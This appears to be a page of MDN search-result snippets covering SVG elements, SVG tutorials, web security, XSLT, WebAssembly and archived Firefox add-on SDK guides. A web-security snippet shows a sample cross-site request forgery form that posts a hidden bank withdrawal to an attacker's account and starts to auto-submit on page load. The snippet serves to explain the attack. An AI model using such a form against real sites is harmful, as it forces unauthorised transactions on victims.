z - SVG: Scalable Vector Graphics
WebSVGAttributez
value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'z for <fepointlight>' in that specification.
... recommendation initial definition for <fepointlight> scalable vector graphics (svg) 1.1 (second edition)the definition of 'z for <fespotlight>' in that specification.
... recommendation initial definition for <fespotlight> ...
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<a>' in that specification.
... candidate recommendation replaced xlink:href attribute by href scalable vector graphics (svg) 1.1 (second edition)the definition of '<a>' in that specification.
... recommendation initial definition ...
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<circle>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<circle>' in that specification.
... recommendation initial definition ...
<clipPath> - SVG: Scalable Vector Graphics
WebSVGElementclipPath
shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<text>, <use> specifications specification status comment css masking module level 1the definition of '<clippath>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<clippath>' in that specification.
... recommendation initial definition ...
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<defs>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<defs>' in that specification.
... recommendation initial definition ...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
esc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<desc>' in that specification.
... recommendation initial definition ...
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<ellipse>' in that specification.
... candidate recommendation added auto value for rx and ry scalable vector graphics (svg) 1.1 (second edition)the definition of '<ellipse>' in that specification.
... recommendation initial definition ...
<feColorMatrix> - SVG: Scalable Vector Graphics
it is recommended to start manipulating the matrix from here.
...<text x="70" y="330">huerotate</text> <!-- luminancetoalpha --> <filter id="colormelta"> <fecolormatrix in="sourcegraphic" type="luminancetoalpha" /> </filter> <use href="#circles" transform="translate(0 350)" filter="url(#colormelta)" /> <text x="70" y="400">luminancetoalpha</text> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fecolormatrix>' in that specification.
... recommendation initial definition ...
<feComponentTransfer> - SVG: Scalable Vector Graphics
</fecomponenttransfer> </filter> <filter id="linear" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" slope="0.5" intercept="0"></fefuncr> <fefuncg type="linear" slope="0.5" intercept="0.25"></fefuncg> <fefuncb type="linear" slope="0.5" intercept="0.5"></fefuncb> </fecomponenttransfer> </filter> <filter id="gamma" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" amplitude="4" exponent="7" offset="0"></fefuncr> <fefuncg type="gamma" amplitude="4" exponent="4" offset="0"></fefuncg> <fefuncb type="gamma" amplitude="4" exponent="1" offset="0"></fefuncb> </fecomponenttransfer> </filter> </defs> <g font-weight="bold"> <text x="0...
...ble lookup</text> <rect x="0" y="130" width="100%" height="20" style="filter:url(#table)"></rect> <text x="0" y="170">discrete table lookup</text> <rect x="0" y="180" width="100%" height="20" style="filter:url(#discrete)"></rect> <text x="0" y="220">linear function</text> <rect x="0" y="230" width="100%" height="20" style="filter:url(#linear)"></rect> <text x="0" y="270">gamma function</text> <rect x="0" y="280" width="100%" height="20" style="filter:url(#gamma)"></rect> </g> </svg> css rect { fill: url(#rainbow); } result specifications specification status comment filter effects module level 1the definition of '<fecomponenttransfer>' in that specification.
... recommendation initial definition ...
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<g>' in that specification.
... recommendation initial definition ...
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
example basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<image>' in that specification.
... candidate recommendation allows omitting height and width scalable vector graphics (svg) 1.1 (second edition)the definition of '<image>' in that specification.
... recommendation initial definition ...
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<line>' in that specification.
... candidate recommendation changed the x1, y1, x2 and y2 attributes to take <length>s, <percentage>s and <number>s scalable vector graphics (svg) 1.1 (second edition)the definition of '<line>' in that specification.
... recommendation initial definition ...
<linearGradient> - SVG: Scalable Vector Graphics
hoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<lineargradient>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<lineargradient>' in that specification.
... recommendation initial definition ...
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<marker>' in that specification.
... recommendation initial definition ...
<mask> - SVG: Scalable Vector Graphics
WebSVGElementmask
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<mask>' in that specification.
... recommendation initial definition ...
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment svg pathsthe definition of '<path>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<path>' in that specification.
... recommendation initial definition ...
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<pattern>' in that specification.
... recommendation initial definition ...
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polygon>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<polygon>' in that specification.
... recommendation initial definition ...
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polyline>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<polyline>' in that specification.
... recommendation initial definition ...
<radialGradient> - SVG: Scalable Vector Graphics
hoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<radialgradient>' in that specification.
... candidate recommendation added fr attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<radialgradient>' in that specification.
... recommendation initial definition ...
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<rect>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<rect>' in that specification.
... recommendation initial definition ...
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<script>' in that specification.
... recommendation initial definition ...
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
tyling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity, visibility usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status comment scalable vector graphics (svg) 2the definition of '<stop>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<stop>' in that specification.
... recommendation initial definition ...
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<style>' in that specification.
... recommendation initial definition ...
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<svg>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<svg>' in that specification.
... recommendation initial definition ...
<switch> - SVG: Scalable Vector Graphics
WebSVGElementswitch
<text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="fr">bonjour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<switch>' in that specification.
... candidate recommendation clarified the evaluation of the systemlanguage attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<switch>' in that specification.
... recommendation initial definition ...
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
specifications specification status comment scalable vector graphics (svg) 2the definition of '<symbol>' in that specification.
... candidate recommendation allowed geometry properties to be specified on a symbol scalable vector graphics (svg) 1.1 (second edition)the definition of '<symbol>' in that specification.
... recommendation initial definition ...
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
a-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescriptive elementstext content elements<a> specifications specification status comment scalable vector graphics (svg) 2the definition of '<text>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<text>' in that specification.
... recommendation initial definition ...
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<textpath>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<textpath>' in that specification.
... recommendation initial definition ...
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
ected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<tspan>' in that specification.
... recommendation initial definition ...
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<use>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<use>' in that specification.
... recommendation initial definition ...
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
specifications specification status comment scalable vector graphics (svg) 2the definition of '<view>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<view>' in that specification.
... recommendation initial definition ...
SVG as an Image - SVG: Scalable Vector Graphics
specifications specification status comment html5the definition of 'svg within <img> element' in that specification.
... recommendation defines the usage of svg within <img> elements.
... candidate recommendation defines the usage of svg within the background-image property.
Basic shapes - SVG: Scalable Vector Graphics
ellipse an <ellipse> is a more general form of the <circle> element, where you can scale the x and y radius (commonly refferred to as the semimajor and semiminor axes in maths) of the circle separately.
...each number must be separated by a space, comma, eol, or a line feed character.
... <polygon points="50, 160 55, 180 70, 180 60, 190 65, 205 50, 195 35, 205 40, 190 30, 180 45, 180"/> points a list of points, each number separated by a space, comma, eol, or a line feed character.
Fills and Strokes - SVG: Scalable Vector Graphics
lone="no"?> <svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"> <path d="m 10 75 q 50 10 100 75 t 190 75" stroke="black" stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/> <path d="m 10 75 l 190 75" stroke="red" stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg> the stroke-dasharray attribute takes a series of comma-separated numbers as its argument.
... note: unlike <path>s, these numbers must be comma-separated (whitespace is ignored).
...attributes like width, height, or <path> commands cannot be set through css.
Getting started - SVG: Scalable Vector Graphics
the recommended filename extension for these files is ".svg" (all lowercase).
...the recommended filename extension for these files is ".svgz" (all lowercase).
... server misconfiguration is a very common reason for svg failing to load, so make sure you check yours.
Subresource Integrity - Web security
but it’s common to use the shorthand "hash" to mean cryptographic digest, so that's what's used in this article.
... tools for generating sri hashes you can generate sri hashes from the command-line with openssl using a command invocation such as this: cat filename.js | openssl dgst -sha384 -binary | openssl base64 -a or with shasum using a command invocation such as this: shasum -b -a 384 filename.js | awk '{ print $1 }' | xxd -r -p | base64 notes: the pipe-through-xxd step takes the hexadecimal output from shasum and converts it to binary.
... specifications specification status comment subresource integrity recommendation fetch living standard ...
Types of attacks - Web security
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
...the variety of attacks based on xss is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
...for endpoints that require a post request, it's possible to programmatically trigger a <form> submit (perhaps in an invisible <iframe>) when the page is loaded: <form action="https://bank.example.com/withdraw" method="post"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addeventlistener('domcontentloaded', (e) => { document.querysel...
Web security
it uses ssl or tls to encrypt all communication between a client and a server.
... secure contexts a secure context is a window or worker for which there is reasonable confidence that the content has been delivered securely (via https/tls), and for which the potential for communication with contexts that are not secure is limited.
... decryption digital certificate dtls encryption forbidden header name forbidden response header name hash hmac hpkp hsts https key mitm owasp preflight request public-key cryptography reporting directive robots.txt same-origin policy session hijacking sql injection symmetric-key cryptography tofu tls ...
Index - XPath
WebXPathIndex
found 57 pages: # page tags and summary 1 xpath css selectors, dom, jxon, landing, path, xml, xpath, xslt xpath stands for xml path language.
... 3 ancestor axe, xpath no summary!
... 17 functions transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_reference no summary!
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElement
e="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside curly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the w3c recommendation and an explanation of the degree of present gecko support.
...<xsl:apply-imports><xsl:apply-templates><xsl:attribute-set><xsl:attribute><xsl:call-template><xsl:choose><xsl:comment><xsl:copy-of><xsl:copy><xsl:decimal-format><xsl:element><xsl:fallback><xsl:for-each><xsl:if><xsl:import><xsl:include><xsl:key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:variable><xsl:when><xsl:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:attribute> <xsl:attribute-set> <xsl:...
...call-template> <xsl:choose> <xsl:comment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <xsl:param> <xsl:preserve-space> <xsl:processing-instruction> <xsl:sort> <xsl:strip-space> <xsl:stylesheet> (partially supported) <xsl:template> <xsl:text> (partially supported) <xsl:transform> <xsl:value-of> (partially supported) <xsl:variable> <xsl:when> <xsl:with-param> ...
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
xslt & xpath tutorial the topxml xslt tutorial introduces you to the basics of xslt concepts, syntax, and programming.
... common xslt errors this article lists some common problems using xslt in firefox.
... community view mozilla forums...
WebAssembly Concepts - WebAssembly
webassembly goals webassembly is being created as an open standard inside the w3c webassembly community group with the following goals: be fast, efficient, and portable — webassembly code can be executed at near-native speed across different platforms by taking advantage of common hardware capabilities.
...in fact, the basic unit of webassembly code is called a module and webassembly modules are symmetric in many ways to es2015 modules.
... summary this article has given you an explanation of what webassembly is, why it is so useful, how it fits into the web, and how you can make use of it.
Compiling an Existing C Module to WebAssembly - WebAssembly
emscripten provides emconfigure and emmake to wrap these commands and inject the appropriate parameters.
... depending on the size of your image, you might run into an error where wasm can't grow the memory enough to accommodate both the input and the output image: luckily, the solution to this problem is in the error message.
... you just need to add -s allow_memory_growth=1 to your compilation command.
SDK API Lifecycle - Archive of obsolete content
deprecation process deprecation in the chosen release, the sdk team will communicate the module's deprecation: update the module's stability index to be "deprecated" include a deprecation notice in the release notes, the add-ons blog, and the jetpack google group.
...the sdk team will remove the corresponding documentation, and communicate the removal in the usual ways: the release notes, the add-ons blog, and the jetpack google group.
SDK and XUL Comparison - Archive of obsolete content
advantages of the sdk simplicity the sdk provides high-level javascript apis to simplify many common tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on.
... note that by doing this you lose some of the benefits of programming with the sdk including simplicity, compatibility, and to a lesser extent security.
Working with Events - Archive of obsolete content
the add-on sdk supports event-driven programming.
... additionally, if you're using content scripts to interact with web content, you can define your own events and use them to communicate between the main add-on code and the content scripts.
Guides - Archive of obsolete content
modules learn about the module system used by the sdk (which is based on the commonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish.
... content scripts guide an overview of content scripts, including: what they are, what they can do, how to load them, how to communicate with them.
self - Archive of obsolete content
note that the self module is completely different from the global self object accessible to content scripts, which is used by a content script to communicate with the add-on code.
...this data lives in the add-on's data/ directory, immediately below the package.json file.
simple-storage - Archive of obsolete content
important: if you use this method, you must end your debugging session by quitting firefox normally, not by cancelling the shell command.
... accessing storage from the console in the add-on debugger, you can access your add-on's simple-storage programmatically from the console using the following: loader.modules['resource://gre/modules/commonjs/sdk/simple-storage.js'].exports.storage clarification from mozilla needed: writing the above line in add-on debugger console results in "referenceerror: loader is not defined".
ui - Archive of obsolete content
this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing.
...this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing.
content/symbiont - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires thi...
...this may have one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoption...
content/worker - Archive of obsolete content
parameters options : object required options: name type window object the content window to create javascript sandbox for communication with.
... note that you can't communicate with the content script in response to this event.
stylesheet/utils - Archive of obsolete content
the sheets added takes effect immediately, and only on the document of the window given.
...the removal takes effect immediately.
system/child_process - Archive of obsolete content
the sdk versions don't: so when you specify a command you must pass in a complete path to the command or use the env option to set up the child process environment.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const commonjs_uri = 'resource://gre/modules/commonjs'; const { require } = cu.import(commonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
console - Archive of obsolete content
if you have started firefox for your add-on from the command line with jpm run or jpm test then these messages appear in the command shell you used.
... both these preferences can be set programmatically using the preferences/service api, or manually using about:config.
Listening for Load and Unload - Archive of obsolete content
if your add-on exports a function called main(), that function will be called immediately after the overall main.js is evaluated, and after all top-level require() statements have run (so generally after all dependent modules have been loaded).
...for more, see bug 627432, in particular comment 12 on that bug.
Logging - Archive of obsolete content
the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world!
...the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content script: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscript: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the command line (for example, executing jpm run or jpm test) then the console's messages appear in the command shell you used.
Tutorials - Archive of obsolete content
troubleshooting some pointers for fixing common problems and getting more help.
... listen for load and unload get notifications when your add-on is loaded or unloaded by firefox, and pass arguments into your add-on from the command line.
Bootstrapped extensions - Archive of obsolete content
these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application.
... this is done using a special script file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall, start up, and shut down.
Bookmarks - Archive of obsolete content
this article offers examples for how to perform common bookmark management tasks using the bookmarks service.
...r var myext_bookmarklistener = { onbeginupdatebatch: function() {}, onendupdatebatch: function() {}, onitemadded: function(aitemid, afolder, aindex) {}, onitemremoved: function(aitemid, afolder, aindex) {}, onitemchanged: function(abookmarkid, aproperty, aisannotationproperty, avalue) { myextension.dosomething(); }, onitemvisited: function(abookmarkid, avisitid, time) {}, onitemmoved: function(aitemid, aoldparent, aoldindex, anewparent, anewindex) {}, queryinterface: xpcomutils.generateqi([components.interfaces.nsinavbookmarkobserver]) }; // an extension var myextension = { // this function is called when my add-on is loaded onload: function() { bmsvc.addobserver(myext_bookmarklistener, false); }, // this function is called when my add-on is unloaded onunl...
HTML to DOM - Archive of obsolete content
s the number of paragraphs in a string: var dompars = htmlparser('<p>foo</p><p>bar</p>'); alert(dompars.getelementsbytagname('p').length); if htmlparser() returns the element name html (instead of body), you have all document object with its complete functions list, therefore you can retrieve info within div tag like this: var dompars = htmlparser("<div id='userinfo'>john was a mediocre programmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an iframe whose type is content (not chrome).
... but, we still need to see how to execute the famous loaduri() method using our iframe: donkeybrowser.webnavigation.loaduri("http://developer.mozilla.org", components.interfaces.nsiwebnavigation, null, null, null); also, i recommend you take a look at the nsiwebnavigation interface.
Displaying web content in an extension without security issues - Archive of obsolete content
one of the most common security issues with extensions is execution of remote code in privileged context.
...the issue that is commonly overlooked here is that the rss feed could contain some malicious javascript code and it would then execute with the privileges of the extension — meaning that it would get full access to the browser (cookies, history etc) and to user’s files.
Install Manifests - Archive of obsolete content
note: it is strongly recommended that the updateurl be an https (secure) link.
... %item_status% comma separated list of the add-ons operating status in the application.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
and was originally published in japanese for the firefox developers conference summer 2007.
... nevertheless, the rise of web services like google maps, which used javascript and asynchronous communications, created an awareness of a set of technologies nicknamed ajax (asynchronous javascript and xml); that plus the advent of a number of libraries that paper over implementation differences between different web browsers has more recently led to a re-evaluation of javascript as a programming language.
Firefox addons developer guide - Archive of obsolete content
the firefox add-ons developer guide was contributed by the mozilla japan community; it covers how to go about building firefox extensions using xpcom and xul.
... these days, we recommend using the add-on sdk instead, but there are times when you need the additional control offered by a more direct approach.
Appendix A: Add-on Performance - Archive of obsolete content
a very common filter is the url of the page, since most add-ons are limited to one or a few domains.
... other recommendations always clean up after yourself.
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
it is also common for an add-on to require to run a script only when it is installed for the first time, or every time it is updated.
... uninstall scripts there are two common cases for needing these: cleaning up local data and presenting an uninstall feedback form.
XUL School Tutorial - Archive of obsolete content
it is recommended that you read through all of it at least once.
... introduction introduction getting started with firefox extensions the essentials of an extension setting up a development environment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and commands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community sites appendices ...
Extensions support in SeaMonkey 2 - Archive of obsolete content
